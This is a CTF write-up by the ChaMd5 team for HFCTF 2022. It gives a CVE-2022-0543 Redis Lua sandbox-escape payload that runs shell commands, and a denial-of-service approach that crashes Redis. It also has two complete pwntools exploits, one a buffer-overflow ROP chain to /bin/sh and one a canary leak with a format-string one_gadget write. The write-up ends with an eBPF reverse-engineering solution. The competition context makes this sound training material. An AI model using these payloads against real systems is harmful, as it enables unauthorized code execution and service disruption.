虎符-WriteUp

百家 作者:Chamd5安全团队 2022-03-22 14:40:47

Misc

Check in

公众号直接看 HFCTF{a33db7b4-50ef-4891-b3b3-67476b6e1101}

plain text

base64 后

dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI \TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO DNQ.

Quest-Crash

想办法让 redis 崩掉就行,让他同时 SET,GET,FLUSHALL,然后再去请求 GETFLAG,实现方式有很多种,这里直接用 Burp 爆破的。


HFCTF{c0d3735f-4062-4f39-9ad6-9e7df7994dad}

Quest-RCE

CVE-2022-0543

{"query":"INFO \n EVAL 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0"}



HFCTF{0cc2d02c-4cfe-4deb-9727-2df97b3e0363}

Pwn

gogogo



第一步是输入 1416925456,进入 1A2B 游戏然后去通关它





存在一个 read 溢出漏洞

EXP

# coding=utf-8
from pwn import *
context.log_level = 'debug'
flag=0
if flag==1:
p=remote("","")
else:
p=process("./gogogo")
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))
def guessTrainner():
   start =time.time()
   answerSet=answerSetInit(set())
   for i in range(6):
      inputStrMax=suggestedNum(answerSet,100)
      print('第%d步----' %(i+1))
      print('尝试:' +inputStrMax)
      print('----')
      AMax,BMax = compareAnswer(inputStrMax)
      print('反馈:%dA%dB' % (AMax, BMax))
      print('----')
      print('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
      answerSetUpd(answerSet,inputStrMax,AMax,BMax)
      if AMax==4:
         elapsed = (time.time() - start)
         print("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
         break
      elif i==5:
         print("猜数字失败!")

def compareAnswer(inputStr):
inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
p.sendline(inputStr1)
ru('\n')
tmp = p.recvuntil('B',timeout=0.5)
# print(tmp)
if tmp == '':
return 4,4
tmp = tmp.split("A")
A = tmp[0]
B = tmp[1].split('B')[0]
return int(A),int(B)
def compareAnswer1(inputStr,answerStr):
   A=0
   B=0
   for j in range(4):
      if inputStr[j]==answerStr[j]:
         A+=1
      else:
         for k in range(4):
            if inputStr[j]==answerStr[k]:
               B+=1
   return A,B
   
def answerSetInit(answerSet):
   answerSet.clear()
   for i in range(1234,9877):
      seti=set(str(i))
      if len(seti)==4 and seti.isdisjoint(set('0')):
         answerSet.add(str(i))
   return answerSet
def answerSetUpd(answerSet,inputStr,A,B):
   answerSetCopy=answerSet.copy()
   for answerStr in answerSetCopy:
      A1,B1=compareAnswer1(inputStr,answerStr)
      if A!=A1 or B!=B1:
         answerSet.remove(answerStr)
def answerSetDelNum(answerSet,inputStr,A,B):
   i=0
   for answerStr in answerSet:
      A1, B1 = compareAnswer1(inputStr, answerStr)
      if A!=A1 or B!=B1:
         i+=1
   return i

def suggestedNum(answerSet,lvl):
   suggestedNum=''
   delCountMax=0
   if len(answerSet) > lvl:
      suggestedNum = list(answerSet)[0]
   else:
      for inputStr in answerSet:
         delCount = 0
         for answerStr in answerSet:
            A,B = compareAnswer1(inputStr, answerStr)
            delCount += answerSetDelNum(answerSet, inputStr,A,B)
         if delCount > delCountMax:
            delCountMax = delCount
            suggestedNum = inputStr
         if delCount == delCountMax:
            if suggestedNum == '' or int(suggestedNum) > int(inputStr):
               suggestedNum = inputStr
   return suggestedNum

p.recvuntil("PLEASE INPUT A NUMBER:")
p.sendline("1717986918")
p.recvuntil("PLEASE INPUT A NUMBER:")
p.sendline("1234")
p.recvuntil("YOU HAVE SEVEN CHANCES TO GUESS")
guessTrainner()

sa("AGAIN OR EXIT?","exit")
sla("(4) EXIT","4")
pay="/bin/sh\x00"+"a"*(0x458)+p64(0x405b78)+p64(0x405b78)+p64(0x45cbe4)+p64(0x45afa8)+p64(0)+'/bin/sh\x00'+p64(0x45bcbc)+p64(0x405b78)+p64(59)+p64(0x45C849)
sa("ARE YOU SURE?",pay)


#sla("OKAY YOU CAN LEAVE YOUR NAME AND BYE~",payload)

p.interactive()

babygame

# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

#p=process('./1')
p=remote('120.25.205.249',38091)
#p=process(['./1'],env={'LD_PRELOAD':'./libc-2.27_64.so'})
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('libc-2.31.so')
lib=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context(arch='amd64', os='linux', terminal=['tmux''splitw''-h'])

def debug():
    gdb.attach(p)
    pause()
def lg(name,val):
    log.success(name+' : '+hex(val))
    
lib.srand(0x1111111111111111)
p.recvuntil(':')
p.send(0x109*'\x11')

p.recvuntil(0x109*'\x11')
canary=u64(p.recv(7).rjust(8,b'\x00'))
stack=u64(p.recv(6).ljust(8,b'\x00'))
lg('canary',canary)
lg('stack',stack)
#debug()

answer=0

#p.interactive()
for i in range(100):
    p.recvuntil(':')
    num=lib.rand()%3
    if num==0:
        answer=1
    if num==1:
        answer=2
    if num==2:
        answer=0
    #if i==99:
        #debug()
    p.sendline(str(answer))
    #p.interactive()
#p.interactive()
context.log_level='debug'
p.recvuntil('you.')
payload=b'%62c%9$hhnaaaaaa'+b'aaa%27$p'+p64(stack-536)
#debug()
#payload=fmtstr_payload(6,{stack-536:0x3e})
p.sendline(payload)
#p.interactive()
p.recvuntil('0x')
libc.address=int(p.recv(12),16)-20-libc.sym['atoi']
lg('libc.address',libc.address)
#debug()
og=[0xe3b2e,0xe3b31,0xe3b34,0xe3d23,0xe3d26]
#writes = {stack-536:   libc.sym['realloc'],
#          libc.sym['__realloc_hook']: og[0]+libc.address}
writes={stack-536:og[1]+libc.address}
payload=fmtstr_payload(6,writes)

p.sendline(payload)

p.interactive()

HFCTF{c988e4f3-b8a6-4c6f-845e-00b2b532bb78}


Reverse

fpbe

google 搜索了一下,了解 bpf 这种机制,学习了一下 bpftool 的使用 阅读 ida 反编译输出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  //...
  if ( argc == 2 )
  {
    array = (unsigned int *)argv[1];
    libbpf_set_print((libbpf_print_fn_t)libbpf_print);
    bump_memlock_rlimit();
    skel = fpbe_bpf__open_and_load(); // 这里加载了内核模块
    if ( skel )
    {
      base_addr = get_base_addr();
      if ( base_addr >= 0 )
      {
        skel->links.uprobe = bpf_program__attach_uprobe( // hook uprobed_function入口
                               skel->progs.uprobe,
                               0,
                               0,
                               "/proc/self/exe",
                               (size_t)uprobed_function - base_addr);
        err = libbpf_get_error(skel->links.uprobe);
        if ( err )
        {
          fprintf((__int64)stderr, (__int64)"Failed to attach uprobe: %d\n", err);
        }
        else
        {
          puts(
            "Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` to see output of the BPF programs.");
          err = uprobed_function(*array, array[1], array[2], array[3]); // 这里是sha256比对,但是被内核模块hook了
          *(_QWORD *)flag = 0LL;
          *(_QWORD *)&flag[8] = 0LL;
          flag[16] = 0;
          *(_QWORD *)flag = *array;
          *(_DWORD *)&flag[4] = array[1];
          *(_QWORD *)&flag[8] = array[2];
          *(_DWORD *)&flag[12] = array[3];
          if ( err == 1 )
            printf((__int64)"flag: HFCTF{%s}\n", flag);
          else
            puts("not flag");
        }
      }
      else
      {
        fwrite("Failed to determine process's load address\n", 1LL, 43LL, stderr);
        err = base_addr;
      }
      fpbe_bpf__destroy(skel);
      result = -err;
    }
    else
    {
      fwrite("Failed to open and load BPF skeleton\n", 1LL, 37LL, stderr);
      result = 1;
    }
  }
  else
  {
    fwrite("Usage: sudo ./fpbe <flag>\n", 1LL, 26LL, stderr);
    result = 1;
  }
  return result;
}

了解大概流程后,使用 gdb 调试起来,断点打在输出 Successfully started! Please run sudo cat /sys/kernel/debug/tracing/trace_pipe to see output of the BPF programs.后,因为这里刚好成功加载模块 使用 bpftool dump 一下

0: (79) r2 = *(u64 *)(r1 +104)
   1: (67) r2 <<= 32
   2: (77) r2 >>= 32
   3: (79) r3 = *(u64 *)(r1 +112)
   4: (67) r3 <<= 32
   5: (77) r3 >>= 32
   6: (bf) r4 = r3
   7: (27) r4 *= 28096
   8: (bf) r5 = r2
   9: (27) r5 *= 64392
  10: (0f) r5 += r4
  11: (79) r4 = *(u64 *)(r1 +96)
  12: (67) r4 <<= 32
  13: (77) r4 >>= 32
  14: (bf) r0 = r4
  15: (27) r0 *= 29179
  16: (0f) r5 += r0
  17: (79) r1 = *(u64 *)(r1 +88)
  18: (b7) r0 = 0
  19: (73) *(u8 *)(r10 -8) = r0
  20: (7b) *(u64 *)(r10 -16) = r0
  21: (7b) *(u64 *)(r10 -24) = r0
  22: (67) r1 <<= 32
  23: (77) r1 >>= 32
  24: (bf) r0 = r1
  25: (27) r0 *= 52366
  26: (0f) r5 += r0
  27: (b7) r6 = 1
  28: (18) r0 = 0xbe18a1735995
  30: (5d) if r5 != r0 goto pc+66

  31: (bf) r5 = r3
  32: (27) r5 *= 61887
  33: (bf) r0 = r2
  34: (27) r0 *= 27365
  35: (0f) r0 += r5
  36: (bf) r5 = r4
  37: (27) r5 *= 44499
  38: (0f) r0 += r5
  39: (bf) r5 = r1
  40: (27) r5 *= 37508
  41: (0f) r0 += r5
  42: (18) r5 = 0xa556e5540340
  44: (5d) if r0 != r5 goto pc+52

  45: (bf) r5 = r3
  46: (27) r5 *= 56709
  47: (bf) r0 = r2
  48: (27) r0 *= 32808
  49: (0f) r0 += r5
  50: (bf) r5 = r4
  51: (27) r5 *= 25901
  52: (0f) r0 += r5
  53: (bf) r5 = r1
  54: (27) r5 *= 59154
  55: (0f) r0 += r5
  56: (18) r5 = 0xa6f374484da3
  58: (5d) if r0 != r5 goto pc+38

  59: (bf) r5 = r3
  60: (27) r5 *= 33324
  61: (bf) r0 = r2
  62: (27) r0 *= 51779
  63: (0f) r0 += r5
  64: (bf) r5 = r4
  65: (27) r5 *= 31886
  66: (0f) r0 += r5
  67: (bf) r5 = r1
  68: (27) r5 *= 62010
  69: (0f) r0 += r5
  70: (18) r5 = 0xb99c485a7277
  72: (5d) if r0 != r5 goto pc+24

  73: (63) *(u32 *)(r10 -12) = r1
  74: (63) *(u32 *)(r10 -16) = r4
  75: (63) *(u32 *)(r10 -20) = r2
  76: (63) *(u32 *)(r10 -24) = r3
  77: (18) r1 = 0xa7d73257b465443
  79: (7b) *(u64 *)(r10 -40) = r1
  80: (18) r1 = 0x4648203a47414c46
  82: (7b) *(u64 *)(r10 -48) = r1
  83: (18) r1 = 0x2052554f59202145
  85: (7b) *(u64 *)(r10 -56) = r1
  86: (18) r1 = 0x4e4f44204c4c4557
  88: (7b) *(u64 *)(r10 -64) = r1
  89: (b7) r6 = 0
  90: (73) *(u8 *)(r10 -32) = r6
  91: (bf) r1 = r10
  92: (07) r1 += -64
  93: (bf) r3 = r10
  94: (07) r3 += -24
  95: (b7) r2 = 33
  96: (85) call bpf_trace_printk#-60976
  97: (bf) r0 = r6
  98: (95) exit

源码不是很麻烦,z3 一把梭~

from z3 import *
from Crypto.Util.number import long_to_bytes
a,b,c,d=BitVec('a',64),BitVec('b',64),BitVec('c',64),BitVec('d',64)
s=Solver()
s.add(0xbe18a1735995==c*64392+d*28096+b*29179+a*52366)
s.add(0xa556e5540340==d*61887+c*27365+b*44499+a*37508)
s.add(0xa6f374484da3==d*56709+c*32808+b*25901+a*59154)
s.add(0xb99c485a7277==d*33324+c*51779+b*31886+a*62010)
def get_long(m,a):
    l=m[a].as_long()
    print(hex(l))
    return long_to_bytes(l)[::-1]
if s.check()==sat:
    m=s.model()
    s=b''
    for i in [d,c,b,a]: # 反向传参
        s+=get_long(m,i)
    print(s)

flag:0vR3sAlbs8pD2h53

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接